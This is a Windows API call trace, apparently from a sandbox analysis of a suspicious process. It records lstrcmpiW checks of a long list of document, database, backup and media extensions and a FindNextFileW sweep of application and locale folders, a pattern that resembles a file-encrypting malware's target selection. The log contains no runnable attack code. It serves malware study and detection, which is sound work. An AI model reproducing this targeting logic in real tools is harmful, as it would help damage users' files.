	[0172.351] lstrcmpiW (lpString1=".3gp", lpString2="r.js") returned -1
	[0172.351] lstrlenW (lpString=".7z") returned 3
	[0172.351] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0172.351] lstrlenW (lpString=".accda") returned 6
	[0172.351] lstrcmpiW (lpString1=".accda", lpString2="tor.js") returned -1
	[0172.351] lstrlenW (lpString=".accdb") returned 6
	[0172.351] lstrcmpiW (lpString1=".accdb", lpString2="tor.js") returned -1
	[0172.351] lstrlenW (lpString=".accdc") returned 6
	[0172.351] lstrcmpiW (lpString1=".accdc", lpString2="tor.js") returned -1
	[0172.351] lstrlenW (lpString=".accde") returned 6
	[0172.352] lstrcmpiW (lpString1=".accde", lpString2="tor.js") returned -1
	[0172.352] lstrlenW (lpString=".accdt") returned 6
	[0172.352] lstrcmpiW (lpString1=".accdt", lpString2="tor.js") returned -1
	[0172.352] lstrlenW (lpString=".accdw") returned 6
	[0172.352] lstrcmpiW (lpString1=".accdw", lpString2="tor.js") returned -1
	[0172.352] lstrlenW (lpString=".adb") returned 4
	[0172.352] lstrcmpiW (lpString1=".adb", lpString2="r.js") returned -1
	[0172.352] lstrlenW (lpString=".adp") returned 4
	[0172.352] lstrcmpiW (lpString1=".adp", lpString2="r.js") returned -1
	[0172.352] lstrlenW (lpString=".ai") returned 3
	[0172.352] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0172.352] lstrlenW (lpString=".ai3") returned 4
	[0172.352] lstrcmpiW (lpString1=".ai3", lpString2="r.js") returned -1
	[0172.352] lstrlenW (lpString=".ai4") returned 4
	[0172.352] lstrcmpiW (lpString1=".ai4", lpString2="r.js") returned -1
	[0172.352] lstrlenW (lpString=".ai5") returned 4
	[0172.352] lstrcmpiW (lpString1=".ai5", lpString2="r.js") returned -1
	[0172.352] lstrlenW (lpString=".ai6") returned 4
	[0172.352] lstrcmpiW (lpString1=".ai6", lpString2="r.js") returned -1
	[0172.352] lstrlenW (lpString=".ai7") returned 4
	[0172.352] lstrcmpiW (lpString1=".ai7", lpString2="r.js") returned -1
	[0172.352] lstrlenW (lpString=".ai8") returned 4
	[0172.352] lstrcmpiW (lpString1=".ai8", lpString2="r.js") returned -1
	[0172.352] lstrlenW (lpString=".anim") returned 5
	[0172.352] lstrcmpiW (lpString1=".anim", lpString2="or.js") returned -1
	[0172.352] lstrlenW (lpString=".arw") returned 4
	[0172.352] lstrcmpiW (lpString1=".arw", lpString2="r.js") returned -1
	[0172.352] lstrlenW (lpString=".as") returned 3
	[0172.352] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0172.352] lstrlenW (lpString=".asa") returned 4
	[0172.352] lstrcmpiW (lpString1=".asa", lpString2="r.js") returned -1
	[0172.352] lstrlenW (lpString=".asc") returned 4
	[0172.352] lstrcmpiW (lpString1=".asc", lpString2="r.js") returned -1
	[0172.353] lstrlenW (lpString=".ascx") returned 5
	[0172.353] lstrcmpiW (lpString1=".ascx", lpString2="or.js") returned -1
	[0172.353] lstrlenW (lpString=".asm") returned 4
	[0172.353] lstrcmpiW (lpString1=".asm", lpString2="r.js") returned -1
	[0172.353] lstrlenW (lpString=".asmx") returned 5
	[0172.353] lstrcmpiW (lpString1=".asmx", lpString2="or.js") returned -1
	[0172.353] lstrlenW (lpString=".asp") returned 4
	[0172.353] lstrcmpiW (lpString1=".asp", lpString2="r.js") returned -1
	[0172.353] lstrlenW (lpString=".aspx") returned 5
	[0172.353] lstrcmpiW (lpString1=".aspx", lpString2="or.js") returned -1
	[0172.353] lstrlenW (lpString=".asr") returned 4
	[0172.353] lstrcmpiW (lpString1=".asr", lpString2="r.js") returned -1
	[0172.353] lstrlenW (lpString=".asx") returned 4
	[0172.353] lstrcmpiW (lpString1=".asx", lpString2="r.js") returned -1
	[0172.353] lstrlenW (lpString=".avi") returned 4
	[0172.353] lstrcmpiW (lpString1=".avi", lpString2="r.js") returned -1
	[0172.353] lstrlenW (lpString=".avs") returned 4
	[0172.353] lstrcmpiW (lpString1=".avs", lpString2="r.js") returned -1
	[0172.353] lstrlenW (lpString=".backup") returned 7
	[0172.353] lstrcmpiW (lpString1=".backup", lpString2="ctor.js") returned -1
	[0172.353] lstrlenW (lpString=".bak") returned 4
	[0172.353] lstrcmpiW (lpString1=".bak", lpString2="r.js") returned -1
	[0172.353] lstrlenW (lpString=".bay") returned 4
	[0172.353] lstrcmpiW (lpString1=".bay", lpString2="r.js") returned -1
	[0172.353] lstrlenW (lpString=".bd") returned 3
	[0172.353] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0172.353] lstrlenW (lpString=".bin") returned 4
	[0172.353] lstrcmpiW (lpString1=".bin", lpString2="r.js") returned -1
	[0172.353] lstrlenW (lpString=".bmp") returned 4
	[0172.353] lstrcmpiW (lpString1=".bmp", lpString2="r.js") returned -1
	[0172.353] lstrlenW (lpString=".bz2") returned 4
	[0172.353] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1
	[0172.353] lstrlenW (lpString=".c") returned 2
	[0172.353] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0172.353] lstrlenW (lpString=".cdr") returned 4
	[0172.354] lstrcmpiW (lpString1=".cdr", lpString2="r.js") returned -1
	[0172.354] lstrlenW (lpString=".cer") returned 4
	[0172.354] lstrcmpiW (lpString1=".cer", lpString2="r.js") returned -1
	[0172.354] lstrlenW (lpString=".cf") returned 3
	[0172.354] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0172.354] lstrlenW (lpString=".cfc") returned 4
	[0172.354] lstrcmpiW (lpString1=".cfc", lpString2="r.js") returned -1
	[0172.354] lstrlenW (lpString=".cfm") returned 4
	[0172.354] lstrcmpiW (lpString1=".cfm", lpString2="r.js") returned -1
	[0172.354] lstrlenW (lpString=".cfml") returned 5
	[0172.354] lstrcmpiW (lpString1=".cfml", lpString2="or.js") returned -1
	[0172.354] lstrlenW (lpString=".cfu") returned 4
	[0172.354] lstrcmpiW (lpString1=".cfu", lpString2="r.js") returned -1
	[0172.354] lstrlenW (lpString=".chm") returned 4
	[0172.354] lstrcmpiW (lpString1=".chm", lpString2="r.js") returned -1
	[0172.354] lstrlenW (lpString=".cin") returned 4
	[0172.354] lstrcmpiW (lpString1=".cin", lpString2="r.js") returned -1
	[0172.354] lstrlenW (lpString=".class") returned 6
	[0172.354] lstrcmpiW (lpString1=".class", lpString2="tor.js") returned -1
	[0172.354] lstrlenW (lpString=".clx") returned 4
	[0172.354] lstrcmpiW (lpString1=".clx", lpString2="r.js") returned -1
	[0172.354] lstrlenW (lpString=".config") returned 7
	[0172.354] lstrcmpiW (lpString1=".config", lpString2="ctor.js") returned -1
	[0172.354] lstrlenW (lpString=".cpp") returned 4
	[0172.354] lstrcmpiW (lpString1=".cpp", lpString2="r.js") returned -1
	[0172.354] lstrlenW (lpString=".cr2") returned 4
	[0172.354] lstrcmpiW (lpString1=".cr2", lpString2="r.js") returned -1
	[0172.354] lstrlenW (lpString=".crt") returned 4
	[0172.354] lstrcmpiW (lpString1=".crt", lpString2="r.js") returned -1
	[0172.354] lstrlenW (lpString=".crw") returned 4
	[0172.354] lstrcmpiW (lpString1=".crw", lpString2="r.js") returned -1
	[0172.354] lstrlenW (lpString=".cs") returned 3
	[0172.354] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0172.354] lstrlenW (lpString=".css") returned 4
	[0172.354] lstrcmpiW (lpString1=".css", lpString2="r.js") returned -1
	[0172.355] lstrlenW (lpString=".csv") returned 4
	[0172.355] lstrcmpiW (lpString1=".csv", lpString2="r.js") returned -1
	[0172.355] lstrlenW (lpString=".cub") returned 4
	[0172.355] lstrcmpiW (lpString1=".cub", lpString2="r.js") returned -1
	[0172.355] lstrlenW (lpString=".dae") returned 4
	[0172.355] lstrcmpiW (lpString1=".dae", lpString2="r.js") returned -1
	[0172.355] lstrlenW (lpString=".dat") returned 4
	[0172.355] lstrcmpiW (lpString1=".dat", lpString2="r.js") returned -1
	[0172.355] lstrlenW (lpString=".db") returned 3
	[0172.355] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0172.355] lstrlenW (lpString=".dbf") returned 4
	[0172.355] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1
	[0172.355] lstrlenW (lpString=".dbx") returned 4
	[0172.355] lstrcmpiW (lpString1=".dbx", lpString2="r.js") returned -1
	[0172.355] lstrlenW (lpString=".dc3") returned 4
	[0172.355] lstrcmpiW (lpString1=".dc3", lpString2="r.js") returned -1
	[0172.355] lstrlenW (lpString=".dcm") returned 4
	[0172.355] lstrcmpiW (lpString1=".dcm", lpString2="r.js") returned -1
	[0172.355] lstrlenW (lpString=".dcr") returned 4
	[0172.355] lstrcmpiW (lpString1=".dcr", lpString2="r.js") returned -1
	[0172.355] lstrlenW (lpString=".der") returned 4
	[0172.355] lstrcmpiW (lpString1=".der", lpString2="r.js") returned -1
	[0172.355] lstrlenW (lpString=".dib") returned 4
	[0172.355] lstrcmpiW (lpString1=".dib", lpString2="r.js") returned -1
	[0172.355] lstrlenW (lpString=".dic") returned 4
	[0172.355] lstrcmpiW (lpString1=".dic", lpString2="r.js") returned -1
	[0172.355] lstrlenW (lpString=".dif") returned 4
	[0172.355] lstrcmpiW (lpString1=".dif", lpString2="r.js") returned -1
	[0172.355] lstrlenW (lpString=".divx") returned 5
	[0172.355] lstrcmpiW (lpString1=".divx", lpString2="or.js") returned -1
	[0172.355] lstrlenW (lpString=".djvu") returned 5
	[0172.355] lstrcmpiW (lpString1=".djvu", lpString2="or.js") returned -1
	[0172.355] lstrlenW (lpString=".dng") returned 4
	[0172.355] lstrcmpiW (lpString1=".dng", lpString2="r.js") returned -1
	[0172.356] lstrlenW (lpString=".doc") returned 4
	[0172.356] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1
	[0172.356] lstrlenW (lpString=".docm") returned 5
	[0172.356] lstrcmpiW (lpString1=".docm", lpString2="or.js") returned -1
	[0172.356] lstrlenW (lpString=".docx") returned 5
	[0172.356] lstrcmpiW (lpString1=".docx", lpString2="or.js") returned -1
	[0172.356] lstrlenW (lpString=".dot") returned 4
	[0172.356] lstrcmpiW (lpString1=".dot", lpString2="r.js") returned -1
	[0172.356] lstrlenW (lpString=".dotm") returned 5
	[0172.356] lstrcmpiW (lpString1=".dotm", lpString2="or.js") returned -1
	[0172.356] lstrlenW (lpString=".dotx") returned 5
	[0172.356] lstrcmpiW (lpString1=".dotx", lpString2="or.js") returned -1
	[0172.356] lstrlenW (lpString=".dpx") returned 4
	[0172.356] lstrcmpiW (lpString1=".dpx", lpString2="r.js") returned -1
	[0172.356] lstrlenW (lpString=".dqy") returned 4
	[0172.356] lstrcmpiW (lpString1=".dqy", lpString2="r.js") returned -1
	[0172.356] lstrlenW (lpString=".dsn") returned 4
	[0172.356] lstrcmpiW (lpString1=".dsn", lpString2="r.js") returned -1
	[0172.356] lstrlenW (lpString=".dt") returned 3
	[0172.356] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0172.356] lstrlenW (lpString=".dtd") returned 4
	[0172.356] lstrcmpiW (lpString1=".dtd", lpString2="r.js") returned -1
	[0172.356] lstrlenW (lpString=".dwg") returned 4
	[0172.356] lstrcmpiW (lpString1=".dwg", lpString2="r.js") returned -1
	[0172.356] lstrlenW (lpString=".dwt") returned 4
	[0172.356] lstrcmpiW (lpString1=".dwt", lpString2="r.js") returned -1
	[0172.356] lstrlenW (lpString=".dx") returned 3
	[0172.356] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0172.356] lstrlenW (lpString=".dxf") returned 4
	[0172.356] lstrcmpiW (lpString1=".dxf", lpString2="r.js") returned -1
	[0172.356] lstrlenW (lpString=".edml") returned 5
	[0172.356] lstrcmpiW (lpString1=".edml", lpString2="or.js") returned -1
	[0172.356] lstrlenW (lpString=".efd") returned 4
	[0172.356] lstrcmpiW (lpString1=".efd", lpString2="r.js") returned -1
	[0172.357] lstrlenW (lpString=".elf") returned 4
	[0172.357] lstrcmpiW (lpString1=".elf", lpString2="r.js") returned -1
	[0172.357] lstrlenW (lpString=".emf") returned 4
	[0172.357] lstrcmpiW (lpString1=".emf", lpString2="r.js") returned -1
	[0172.357] lstrlenW (lpString=".emz") returned 4
	[0172.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.357] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0172.357] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0172.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0172.357] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0172.357] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0172.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.358] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0172.358] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0172.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0172.359] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="createpdfupsell-app", cAlternateFileName="CREATE~1")) returned 1
	[0172.360] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.360] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0172.363] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.363] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0172.363] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0172.363] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0172.363] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0172.363] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0172.363] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.363] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0172.404] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.404] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0172.404] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.404] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0172.404] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.404] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0172.405] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.405] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0172.405] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.405] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0172.407] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.407] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0172.407] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.407] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0172.408] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.408] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0172.409] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.409] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0172.410] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.410] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0172.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.412] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0172.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.413] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0172.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.415] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0172.416] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.416] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0172.416] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
